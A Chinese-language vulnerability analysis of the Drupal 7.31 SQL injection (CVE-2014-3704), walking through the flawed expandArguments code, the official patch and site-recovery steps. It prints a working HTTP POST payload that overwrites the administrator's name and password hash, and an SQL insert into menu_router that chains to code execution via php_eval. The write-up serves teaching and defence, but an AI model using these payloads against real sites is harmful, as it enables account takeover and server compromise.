DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. Framework
它由2部分组成
    1) Drupal内核中的功能强大的PHP类库和PHP函数库
    2) 在此基础上抽象的Drupal API
2. CMS
HTML+JAVASCRIPT+CSS

1. 内核
2. 模块
3. 主题

A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.

https://www.drupal.org/PSA-2014-003
https://www.drupal.org/SA-CORE-2014-005
http://www.oschina.net/news/56637/drupal-security-hole
https://security.berkeley.edu/content/critical-drupal-7x-sql-injection-vulnerability-cve-2014-3704
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704
http://www.freebuf.com/vuls/47271.html

POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
name[0%20;update+users+set+name%3d‘owned‘+,+pass+%3d+‘$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld‘+where+uid+%3d+‘1‘;;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

/**
   * Expands out shorthand placeholders.
   *
   * Drupal supports an alternate syntax for doing arrays of values. We
   * therefore need to expand them out into a full, executable query string.
   *
   * @param $query
   *   The query string to modify.
   * @param $args
   *   The arguments for the query.
   *
   * @return
   *   TRUE if the query was modified, FALSE otherwise.
   */
  protected function expandArguments(&$query, &$args) 
  {
    $modified = FALSE;

    // If the placeholder value to insert is an array, assume that we need
    // to expand it out into a comma-delimited set of placeholders.
    /*
    array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.
    array_filter($args, ‘is_array‘)起到过滤器的作用，从$args中剥离出"数组"的部分
    */
    foreach (array_filter($args, ‘is_array‘) as $key => $data) 
    {
      $new_keys = array(); 
      /*
      这行代码是导致漏洞的关键点：
      1. 没有对array的key、value进行"参数化纯净性验证"，导致黑客在key中注入了可执行代码，对即将执行的sql语句进行了污染
      2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内
      */
      foreach ($data as $i => $value) 
      {
        // This assumes that there are no other placeholders that use the same
        // name.  For example, if the array placeholder is defined as :example
        // and there is already an :example_2 placeholder, this will generate
        // a duplicate key.  We do not account for that as the calling code
        // is already broken if that happens.
        $new_keys[$key . ‘_‘ . $i] = $value;
      }

      // Update the query with the new placeholders.
      // preg_replace is necessary to ensure the replacement does not affect
      // placeholders that start with the same exact text. For example, if the
      // query contains the placeholders :foo and :foobar, and :foo has an
      // array of values, using str_replace would affect both placeholders,
      // but using the following preg_replace would only affect :foo because
      // it is followed by a non-word character.
      $query = preg_replace(‘#‘ . $key . ‘\b#‘, implode(‘, ‘, array_keys($new_keys)), $query);

      // Update the args array with the new placeholders.
      unset($args[$key]);
      $args += $new_keys;

      $modified = TRUE;
    }

    return $modified;
  }

..
public function query($query, array $args = array(), $options = array()) {

    // Use default values if not already set.
    $options += $this->defaultOptions();

    try {
      // We allow either a pre-bound statement object or a literal string.
      // In either case, we want to end up with an executed statement object,
      // which we pass to PDOStatement::execute.
      if ($query instanceof DatabaseStatementInterface) {
        $stmt = $query;
        $stmt->execute(NULL, $options);
      }
      else {
        $this->expandArguments($query, $args);
        $stmt = $this->prepareQuery($query);
    //程序在这里将被污染后的sql语句直接带入了数据库执行逻辑，导致了sql注入
        $stmt->execute($args, $options);
      }
      ...

name[0%20;update+users+set+name%3d‘owned‘+,+pass+%3d+‘$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld‘+where+uid+%3d+‘1‘;;#%20%20]=test3
&name[0]=test
&pass=shit2
&test2=test
&form_build_id=
&form_id=user_login_block
&op=Log+in

mixed call_user_func_array ( callable $callback , array $param_arr )
//Calls the callback given by the first parameter with the parameters in param_arr.
http://cn2.php.net/manual/en/function.call-user-func-array.php

function menu_execute_active_handler($path = NULL, $deliver = TRUE) 
{
  // Check if site is offline.
  $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;

  // Allow other modules to change the site status but not the path because that
  // would not change the global variable. hook_url_inbound_alter() can be used
  // to change the path. Code later will not use the $read_only_path variable.
  $read_only_path = !empty($path) ? $path : $_GET[‘q‘];
  drupal_alter(‘menu_site_status‘, $page_callback_result, $read_only_path);

  // Only continue if the site status is not set.
  if ($page_callback_result == MENU_SITE_ONLINE) 
  {
    if ($router_item = menu_get_item($path)) 
    {
      if ($router_item[‘access‘]) 
      {
        if ($router_item[‘include_file‘])
        {
          require_once DRUPAL_ROOT . ‘/‘ . $router_item[‘include_file‘];
        }
        /*
        这里是漏洞利用的关键代码，call_user_func_array接收了$router_item的两个参数，如果我们可以控制这2个参数，就可以达到rce的效果
        */
        $page_callback_result = call_user_func_array($router_item[‘page_callback‘], $router_item[‘page_arguments‘]);
      }
      else 
      {
        $page_callback_result = MENU_ACCESS_DENIED;
      }
    }
    else 
    {
      $page_callback_result = MENU_NOT_FOUND;
    }
  }

  // Deliver the result of the page callback to the browser, or if requested,
  // return it raw, so calling code can do more processing.
  if ($deliver) 
  {
    $default_delivery_callback = (isset($router_item) && $router_item) ? $router_item[‘delivery_callback‘] : NULL;
    drupal_deliver_page($page_callback_result, $default_delivery_callback);
  }
  else 
  {
    return $page_callback_result;
  }
}

/**
 * Gets a router item.
 *
 * @param $path
 *   The path; for example, ‘node/5‘. The function will find the corresponding
 *   node/% item and return that.
 * @param $router_item
 *   Internal use only.
 *
 * @return
 *   The router item or, if an error occurs in _menu_translate(), FALSE. A
 *   router item is an associative array corresponding to one row in the
 *   menu_router table. The value corresponding to the key ‘map‘ holds the
 *   loaded objects. The value corresponding to the key ‘access‘ is TRUE if the
 *   current user can access this page. The values corresponding to the keys
 *   ‘title‘, ‘page_arguments‘, ‘access_arguments‘, and ‘theme_arguments‘ will
 *   be filled in based on the database values and the objects loaded.
 */
function menu_get_item($path = NULL, $router_item = NULL) 
{
  $router_items = &drupal_static(__FUNCTION__);
  /*
  这里是代码的关键，我们输入的$_GET[‘q‘]控制了最终的$router_item
  */
  if (!isset($path)) 
  {
    $path = $_GET[‘q‘];
  }
  if (isset($router_item)) 
  {
    $router_items[$path] = $router_item;
  }
  if (!isset($router_items[$path])) {
    // Rebuild if we know it‘s needed, or if the menu masks are missing which
    // occurs rarely, likely due to a race condition of multiple rebuilds.
    if (variable_get(‘menu_rebuild_needed‘, FALSE) || !variable_get(‘menu_masks‘, array())) {
      menu_rebuild();
    }
    $original_map = arg(NULL, $path);

    $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
    $ancestors = menu_get_ancestors($parts);
    /*
    在menu_router里查询我们输入的$_GET[‘q‘]，然后返回所有字段
    */
    $router_item = db_query_range(‘SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC‘, 0, 1, array(‘:ancestors‘ => $ancestors))->fetchAssoc();

    if ($router_item) 
    {
      // Allow modules to alter the router item before it is translated and
      // checked for access.
      drupal_alter(‘menu_get_item‘, $router_item, $path, $original_map);

      $map = _menu_translate($router_item, $original_map);
      $router_item[‘original_map‘] = $original_map;
      if ($map === FALSE) {
        $router_items[$path] = FALSE;
        return FALSE;
      }
      if ($router_item[‘access‘]) {
        $router_item[‘map‘] = $map;
        $router_item[‘page_arguments‘] = array_merge(menu_unserialize($router_item[‘page_arguments‘], $map), array_slice($map, $router_item[‘number_parts‘]));
        $router_item[‘theme_arguments‘] = array_merge(menu_unserialize($router_item[‘theme_arguments‘], $map), array_slice($map, $router_item[‘number_parts‘]));
      }
    }
    $router_items[$path] = $router_item;
  }
  return $router_items[$path];
}

1. 我们的输入$_GET["q"]可以控制$path，进而控制$router_item最终获取的值
2. 在 menu_router数据表 里查询我们输入的$_GET[‘q‘]，然后从返回所有字段

if ($router_item[‘include_file‘]) 
{
      require_once DRUPAL_ROOT . ‘/‘ . $router_item[‘include_file‘];
}

1. 程序根据用户输入的$_GET[‘q‘]作为条件在"menu_router"数据表中查找对应的记录，并将所有的结果都返回回来

2. 而通过drupal的SQL注入漏洞，我们可以向"menu_router"数据表中插入任意我们需要的记录

3. 在向"menu_router"数据表中插入数据的时候，"page_arguments"这个字段一定要为null，这样根据PHP的特性，$router_item[‘page_arguments‘]就等效于$router_item[0]，即返回记录中的第一个字段参数

4. 最终的RCE执行点在menu_execute_active_handler的
call_user_func_array($router_item[‘page_callback‘], $router_item[‘page_arguments‘]); 中
也即
call_user_func_array($router_item[‘page_callback‘], $router_item[0]);

5. 我们需要利用PHP的这个callback回调进行代码执行，也即我们需要构造出这样的代码场景
call_user_func_array("php_eval", $router_item[0]);

6. php_eval这个函数的实现在"modules/php/php.module"目录中，我们需要将它引入进来

insert into menu_router (path,  page_callback, access_callback, include_file) values (‘<?php phpinfo();?>‘,‘php_eval‘, ‘1‘, ‘modules/php/php.module‘);

path 为要执行的代码；
include_file 为 PHP filter Module 的路径；
page_callback 为 php_eval；
access_callback 为 1（可以让任意用户访问）。

https://www.drupal.org/project/drupal
http://php.net/manual/en/function.array-filter.php
http://cn2.php.net/manual/en/function.array-values.php
http://www.91ri.org/11074.html
http://www.freebuf.com/vuls/49148.html
http://www.beebeeto.com/pdb/poc-2014-0100/

1.  直接使用官方补丁进行修复：
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch
 
2、升级到 Drupal 7.32
https://www.drupal.org/drupal-7.32-release-notes

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, ‘is_array‘) as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
    /*
    array_values() returns all the values from the array and indexes the array numerically.
    array_values($data)将数组的值单独剥离出来，组成一个数字索引的新数组
    */
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

1. Take the website offline by replacing it with a static HTML page

2. Notify the server’s administrator emphasizing that other sites or applications hosted on the same server might have been compromised via a backdoor installed by the initial attack

3. Consider obtaining a new server, or otherwise remove all the website’s files and database from the server. (Keep a copy safe for later analysis.)

4. Restore the website (Drupal files, uploaded files and database) from backups from before 15 October 2014

5. Update or patch the restored Drupal core code

6. Put the restored and patched/updated website back online

7. Manually redo any desired changes made to the website since the date of the restored backup
Audit anything merged from the compromised website, such as custom code, configuration, files or other artifacts, to confirm they are correct and have not been tampered with.

http://help.aliyun.com/view/11108300_13852287.html